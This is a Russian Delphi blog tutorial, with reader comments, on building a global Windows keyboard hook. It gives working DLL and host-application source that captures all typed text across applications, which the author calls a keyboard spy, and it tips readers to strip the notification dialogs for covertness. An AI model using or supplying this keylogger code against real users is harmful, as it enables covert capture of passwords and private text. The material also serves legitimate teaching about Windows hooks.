Подписка

добавить на Яндекс

Наши проекты

Delphi+Google

Google API

Google API в Delphi - проект с открытым исходным кодом.

Chrono

Chrono

Хронометр - программа для ведения списка задач.

ODFProc

ODFProc

ODFProc - работа с документами OpenOffice в Lazarus и FreePascal.

Поддержка блога

А тут я коплю на лицензию Delphi XE на iPad =).
Сумма пожертвования не фиксирована.

Публикации

Год назад

Случайный пост

Последние

Сообщения форума

Комментарии

Свежие комментарии

Социальные сети

Google

Facebook

Twitter

Опрос

Вы сейчас или в ближайшем обозримом будущем планируете разрабатывать кроссплатформенное приложение с использованием Firemonkey?



Loading ... Loading ...

Блоги и сообщества

Статьи по Delphi DelphiFeeds.ru - Все Delphi-блоги Рунета Сообщество умных людей VR-Online.RU Бесплатный журнал для программистов и всех, кто интересуется IT Статьи и уроки по Delphi Новостной блог о высоких технологиях
Система Orphus
Опубликовал Vlad 17 октября 2009 в 21:56.
Категории: Без категории.


Сегодня снова вернемся к вопросу о ловушках и посмотрим их реализацию в том виде, в котором можно читать текст, набранный в любом приложении, а не просто просмотреть виртуальный и скан-код клавиши.

В прошлый раз мы рассмотрели простейший из всех известных мне примеров применения ловушек в Windows. И остановились на том, что ловушка сама писала данные о нажатых клавишах в текстовый файл.
С точки зрения устойчивости такой ловушки можно сказать, что Вам очень сильно повезет, если такая ловушка ни разу не даст сбой в работе и не повесится сама или не повесит систему. Сам по себе процесс записи/чтения в файл достаточно медленный и кто знает успеет ли ловушка отработать до конца эту процедуру и не пропустить сообщение мимо своих "ушей".
Более разумно в таких случаях использовать следующий алгоритм обработки:

  1. Регистрируем ловушку в системе
  2. Ловушка перехватывает все сообщения от клавиатуры и переправляет их в основную программу через сообщения
  3. Основная программа проводит дополнительную обработку данных: переводит значения LParam и WParam в символы, пишет файл и т.д. и т.п. в общем всё, что Вашей душе угодно.

Попробуем реализовать подобный алгоритм сегодня. Итак, пишем ловушку.

1. DLL для перехвата сообщений клавиатуры

Чтобы сильно не нагружать нашу библиотеку лишними операциями, реализуем в ней всего две простые функции:

  • загрузки/выгрузки библиотеки
  • непосредственно перехват и пересылка сообщений в основную программу

Рассмотрим листинг такой динамической библиотеки:

library HookLib;

uses
SysUtils,Windows,Messages, Ariphm;

const
HookMsg = WM_USER+$125;

var
CurHook:HWND;

function KeyboardProc(code: integer; wParam: word; lParam: longint) : longint; stdcall;
var AppWnd:HWND;
Begin
  if code < 0 then
    Result:= CallNextHookEx(CurHook, Code, wParam, lParam)
  else
    begin
      if Byte(LParam shr 24)<$80 then
        begin
          AppWnd:= FindWindow(nil, PChar('Перехватчик'));
          SendMessage(AppWnd,HookMsg,wParam, GetCurrentThreadId {lParam});
          Result:=CallNextHookEx(CurHook, Code, wParam, lParam);
        end;
    end;
end;

procedure hook(Switch: Boolean; HandleProg: HWND) export; stdcall;
begin
  if switch=true then
    begin
      CurHook:= SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0);
      if CurHook <> 0 then
        MessageBox(0, 'Ловушка установлена !', 'Уведомление', MB_OK+MB_ICONINFORMATION)
      else
        MessageBox(0, 'Установка ловушке не удалась!', 'Ошибка', MB_OK+MB_ICONERROR);
    end
  else
    begin
      if UnhookWindowsHookEx(CurHook) then
        MessageBox(0, 'Ловушка снята!', 'Уведомление', MB_OK+MB_ICONINFORMATION)
      else
        MessageBox(0, 'Выгрузка ловушки из памяти не удалась!', '', MB_OK+MB_ICONERROR);
    end;
end;

exports hook;
begin
end.

Выглядит может и не эстетично, но тем не менее всё работает как положено. На что следует обратить внимание при разработке собственной ловушки?

Во-первых, рассмотрим процедуру загрузки/выгрузки:

procedure hook(Switch: Boolean; HandleProg: HWND) export; stdcall;
begin
  if switch=true then
    begin
      CurHook:= SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0);
      if CurHook <> 0 then
        MessageBox(0, 'Ловушка установлена !', 'Уведомление', MB_OK+MB_ICONINFORMATION)
      else
        MessageBox(0, 'Установка ловушке не удалась!', 'Ошибка', MB_OK+MB_ICONERROR);
    end
  else
    begin
      if UnhookWindowsHookEx(CurHook) then
        MessageBox(0, 'Ловушка снята!', 'Уведомление', MB_OK+MB_ICONINFORMATION)
      else
        MessageBox(0, 'Выгрузка ловушки из памяти не удалась!', '', MB_OK+MB_ICONERROR);
    end;
end;

Так как мы пишем учебный пример, то я не поскупился и накидал здесь страшных и не очень сообщений, уведомляющих нас о состоянии библиотеки. Естественно, если вы будите писать настоящую "шпионскую" ловушку, то сообщения эти будут явно излишними, поэтому их следует убрать, а вместе с ними и удалить из uses модуль Messages. Так Вы сможете сохранить свою конспиративность и размер библиотеки после компиляции значительно уменьшится.

Во-вторых, при разработке этой ловушки я использовал константу HookMsg при отправке нашей "шпионской посылки" в основную программу. Сделано это было, можно сказать, из лени :) В реальных условиях разработки такого делать не стоит, т.к. никто не дает вам гарантии, что в системе не найдется ещё одного пользовательского сообщения с таким же параметром. Поэтому следует воспользоваться следующим методам:

RegisterWindowMessage(HookName: string)

Эта функция регистрирует системное сообщение в Windows. Так Вы избежите неловких ситуаций с повторяющимися сообщениями.

Теперь перейдем к самой главной функции - перехвату сообщений:

function KeyboardProc(code: integer; wParam: word; lParam: longint) : longint; stdcall;
var Wnd:HWND;
Begin
  if code < 0 then
    Result:= CallNextHookEx(CurHook, Code, wParam, lParam)
  else
    begin
      if Byte(LParam shr 24)<$80 then
        begin
          Wnd:= FindWindow(nil, PChar('Перехватчик'));
          SendMessage(Wnd,HookMsg,wParam, GetCurrentThreadId);
          Result:=CallNextHookEx(CurHook, Code, wParam, lParam);
       end;
  end;
end;

Что здесь собственно происходит. Во первых при перехвате сообщения проверяется значение параметра Code. В случае, если параметр меньше нуля, то вызываем функцию CallNextHookEx и выходим из функции. Так советует делать справка Windows. Но дело в том, что Code в Win32 почему-то всегда возвращает значение не меньше нуля. Так что, если Вы планируете использовать свою ловушку в Win32, то в принципе эта проверка Вам не пригодится.
Следующий шаг после проверки - поиск окно вызывающей программы.

Wnd:= FindWindow(nil, PChar('Перехватчик'));

т.е. я ищу зарегистрированный в системе элемент с заголовком "Перехватчик" и, если таковой находится, то пересылаю сообщение обычным способом:

SendMessage(Wnd, HookMsg, wParam, GetCurrentThreadId);

Обратите внимание на последний параметр. По всем правилам я должен бы был отправить вторым параметром lParam, а я чего-то отправляю значение функции. Забегая немного вперед скажу, что без пересылки идентификатора процесса у которого перехвачено сообщение, транслировать полученные значения виртуального и скан-кода клавиши в букву удастся в 50% случаев - когда пользователь пишет на латинице. Так как в lParam содержится (цитирую из справки по сообщениям Windows):

lParamLo: Количество pаз, когда нажатие этой клавиши повтоpялось из-за фиксации
ее в нажатом положении.
LParamHi: Биты 0-7 в lParamHi являются scan-кодом клавиши, зависящим от OEM. Бит 8 pавен 1, если клавиша относится к pасшиpенным. Бит 13 pавен 1, если пpи нажатии клавиши нажималась клавиша Alt. Если клавиша уже была нажата до посылки этого сообщения, бит 14 pавен 1. Бит 15 pавен 1, если клавиша отпускается, и pавен 0, если нажимается.

То есть получается, что в принципе мы можем пожертвовать этим параметром в пользу правильно трансляции кодов в буквы. Чем я и воспользовался.

Для того, чтобы каждый код не отправлялся по 2 раза мы отправляем сообщение только в момент нажатия клавиши. Для этого осуществляется проверка:

if Byte(LParam shr 24)<$80 then

То есть значение LParam сдвигается на три байта вправо, младшим оказывается старший байт, затем число усекается до байта. Если в итоге оказывается, что старший бит в полученном байте равен 1 (то есть байт больше 127 = $7F), то это код отпускания, а мы забираем только код нажатия.
Это обстоятельство (отлов только нажатий клавиши) очень часто упускается начинающими программистами и в результате получается, что каждая буква пишется в лог дважды. Ну, а Вам повезло больше, чем им - достаточно скачать модуль Ariphm и вы сможете проводить подобную проверку.

С библиотекой разобрались. Теперь посмотрим, что происходит в основной программе.

2. Разрабатываем приложение для чтения данных из ловушки

Вид приложения у меня получился довольно аскетичный

Перехватчик нажатых клавиш

Но, вместе с тем, приложение имеет интуитивно понятный интерфейс :) Приложение загружает/выгружает ловушку и выводит в Memo набранный текст. Т.к. ловушка у нас глобальная, то в Memo будет транслироваться все, что вы наберете на клавиатуре пока загружена библиотека (даже если окно основной программы будет свернуто).
Для того, чтобы наше приложение работало, ему необходимо знать, что за сообщение следует принимать. Для этого объявляем как и в библиотеке константу:

const
HookMsg = WM_USER+$125;

Теперь экспортируем из DLL функцию:

var
Form2: TForm2;
hDLL: THandle;
Hook: procedure (switch : Boolean; HandleProg: HWND) stdcall;

Загрузка библиотеки производится при нажатии на кнопку "Установить хук":

@hook:= nil;
hDLL:= LoadLibrary(PChar('hook.dll'));
@hook:=GetProcAddress(Hdll, 'hook');
Hook(true, Form2.Handle);
Соответственно выгрузка библиотеки проводится в обратном направлении:
Hook(false, Form2.Handle);

Самое интересное в вызывающей программе - это транслячия сообщения. Создаем метод для перехвата сообщений

procedure WndProc(var Msg: TMessage); override;

Листинг метода:

procedure TForm2.WndProc(var Msg: TMessage);
var SC: integer;
    buf: Char;
    KS: TKeyboardState;
    MyHKL: HKL;
begin
inherited ;
  if Msg.Msg = HookMsg then
    begin
      MyHKL:=GetKeyboardLayout(msg.LParam);
      SC:=MapVirtualKeyEx(Msg.WParam,MAPVK_VK_TO_VSC,MyHKL);
      GetKeyboardState(KS);
      ToUnicodeEx(Msg.WParam,SC,KS,@buf,sizeof(buf),0,MyHKL);
      Memo1.Text:=Memo1.Text+buf;
      MyHKL:=0;
    End;
end;

Отлавливаем наше сообщение и начинаем его преобразовывать в читабельный вид. Для того, чтобы понять как все это происходит я настоятельно Вам советую хотя бы вкратце ознакомиться с постом про Unicode. Вкратце суть работы процедуры такова:

В параметре wParam сообщения нам поступает виртуальный код клавиши. Как мы уже говорили, виртуальный код и скан-код можно преобразовывать друг в друга функцией MapVirtualKey. Однако, в данном случае, мы не знаем в какой раскладке была нажата клавиша и для того, чтобы её (раскладку) узнать нам требуется знать в каком процессе происходила работа с клавиатурой и получить раскладку для этого процесса вызовом функции:

MyHKL:=GetKeyboardLayout(msg.LParam);

Теперь, я думаю, становится предельно ясно зачем мы в ловушке передавали вторым параметром идентификатор процесса. Именно для того, чтобы правильно определить раскладку. Ну, а зная раскладку, виртуальный и скан-код клавиши, мы можем легко транслировать  их в символ:

ToUnicodeEx(Msg.WParam,SC,KS,@buf,sizeof(buf),0,MyHKL);

Конечно мы пренебрегаем в данном случае регистрами букв, т.к. принимаем TKeyboardState для вызывающей программы (что не совсем корректно), но зато можем транслировать как русский, так и любой другой символ, хоть иврит.

И в конце обнуляем дескриптор:

MyHKL:=0;

Делать это необходимо. Иначе при каждом получении и обработке сообщения вы будете в догонку получать сообщение о критической ошибке.

Ну, а результат работы программы может быть примерно следующим:

Результат работы клавиатурного шпиона

Как видите, в пользу правильного определения раскладки мы пожертвовали некоторыми возможностями, как то регистр букв, трансляция управляющих символов и отсеивание (или верная интерпретация) нажатий функциональных клавиш.
Можно, конечно вместо сообщения переправлять в основную программу чётко определенную структуру, содержащую все необходимые данные, вплоть до состояния клавиатуры, но сегодняшняя цель поста от этого никак не зависит. Я лишь хотел показать и подчеркнуть, что в работе клавиатурных шпионов нет ничего сверхъестественного, скорее наоборот - они просты до безобразия.
Если же у Вас всё-таки остались вопросы о работе подобных программ, то не стесняйтесь - спрашивайте. Постараюсь ответить более подробно или даже выделить ответ в отдельный пост блога.

Скачать готовую ловушку и пример вызывающего приложения Вы можете здесь.

Кстати, если Вам нужны другие библиотеки dll, например lame_enc.dll или любые другие библиотеки, то можете зайти на сайт DLL-Master и скачать необходимые библиотеки абсолютно бесплатно.

Мой блог находят по следующим фразам

Комментарии (17)

WP_Cloudy
  • jkeks пишет:

    Может быть автор расскажет как можно отловить просто нажатие клавишь, т.е. мне неважно какие клавиши нажимались, важно узнать что последний раз клавиши нажимались тогда-то.
    Спасибо

  • Vlad пишет:

    Это ещё проще. Чтобы узнать время последнего нажатия клавиши не требуется пересылать GetCurrentThreadId в сообщении. В этом случае обработку сообщения в основной программе можно, например, сделать вот так:
    procedure TForm2.WndProc(var Msg: TMessage);
    begin
    inherited ;
    if Msg.Msg = HookMsg then
    Memo1.Lines.Add('Последний раз клавиша нажималась '+DateTimeToStr(Now));
    end;

    То есть при получении сообщения выписываем текущую дату и время.

  • kostay пишет:

    программа  работает, отлавливает нажатия, шлет сообщения, только в некоторых приложениях шлет по несколько сообщений (например с word excel по 6 символов одновременно).  Как это можно исправить?

  • Виталий пишет:

    Не могли бы Вы подсказать как определить с помощью WM_KEYUP и WM_KEYDOWN время удержания клавиш клавиатуры.

  • Vlad пишет:

    Да по-момему никак не узнать время. Можно узнать «залипание» клавиши, когда кнопку нажали и не отпускают, но сейчас на вскидку вспомнить как это делается не могу :)

  • ded пишет:

    А какие модули надо подключитьь шоб запахало ато на 7 непашет

  • Vlad пишет:

    Все необходимые модули лежат на странице «Исходники», кстати, пример писался именно в 7ке так что работать должен

  • Алексей пишет:

    И все же я соглашусь с ded.
    Vlad на delphi 7 и на 2005 не пашет

    цитирую их:
    MAPVK_VK_TO_VSC не найдена
    ToUnicodeEx(Msg.WParam,SC,KS,@buf,sizeof(buf),0,MyHKL);
    KS не совместим тип pbyte и Tkeyboardstate
    потом я разобрался с константой
    MAPVK_VK_TO_VSC
    и сделал
    ToUnicode
    вместо
    ToUnicodeEX
    но стал писать что мне нужен var параметр и указывает на @buf
    в чем проблема?

  • Александр пишет:

    Алексей немогли бы вы сказать, как вы побороли ошибку с MAPVK_VK_TO_VSC не найдена?
    С ToUnicodeEX аналогично вашей ситуации. Вы как-нибудь решили проблему?
    P.S. У меня Delphi 2009.

  • Александр пишет:

    Сам спросил — сам отвечаю, вдруг кому пригодится: вместо MAPVK_VK_TO_VSC ставим 0, в ToUnicodeEx(Msg.WParam,SC,KS,@buf,sizeof(buf),0,MyHKL); вместо KS — @KS.

  • KWN, lnc пишет:

    Пришлите мне пожалуйста мне на мыло kurtwagner@mail.ru работающий исходник. а то я упоковал. а он некорректно работает. анг. нормально! а рус. цифрами (((

  • Кирилл пишет:

    Vlad, можете помоч с одной пролемой. Мне надо написать программку-прикол, которая перехватывает нажатую клавишу и надо что бы в программе, куда по идее эта клавиша назначалась, появилась совсем другая клавиша, причем рандомная.
    у меня есть несколько идей:
    1)это перехватываем название окна куда назначается буква и посылаем туда клавушу #8(backspace) , а потом рандомную.
    или
    2)перехватываем нажатую клавишу, и поосылаем дальше в перехватчики совсем другую клавишу
    очень большая просьба что нибудь рассказать и помоч!

  • KWN, lnc пишет:

    мож кто поможет с моим вопросом ???

  • Vlad пишет:

    KWN, lnc. У меня только один исходник — тот который на странице «Исходники». Другого нету.

  • KWN, lnc пишет:

    у меня Delphi 7 может из-за того что старая версия. поэтому не работает?
    можешь выслать исходник который у тебя работает без проблем, мне на мыло kurtwagner@mail.ru и назвать свою версию Delphi …

  • Vlad пишет:

    KWN, lnc, так этот исходник и лежит на странице «Исходники» :) Писал его на Delphi 2010. Сейчас работаю в Delphi XE2 Architect

  • KWN, lnc пишет:

    А как мне делать так чтобы он работал на Delphi 7 (((((((((( please help!

Ваш ответ

Внимание: Все комментарии модерируются, и это может вызвать задержку их публикации. Отправлять комментарий заново не требуется.

Пожалуйста, заключайте исходный код в тэги [code][/code].
Если код большой, то воспользуйтесь Вставкой кода на отдельной странице и оставьте в комментарии ссылку на исходник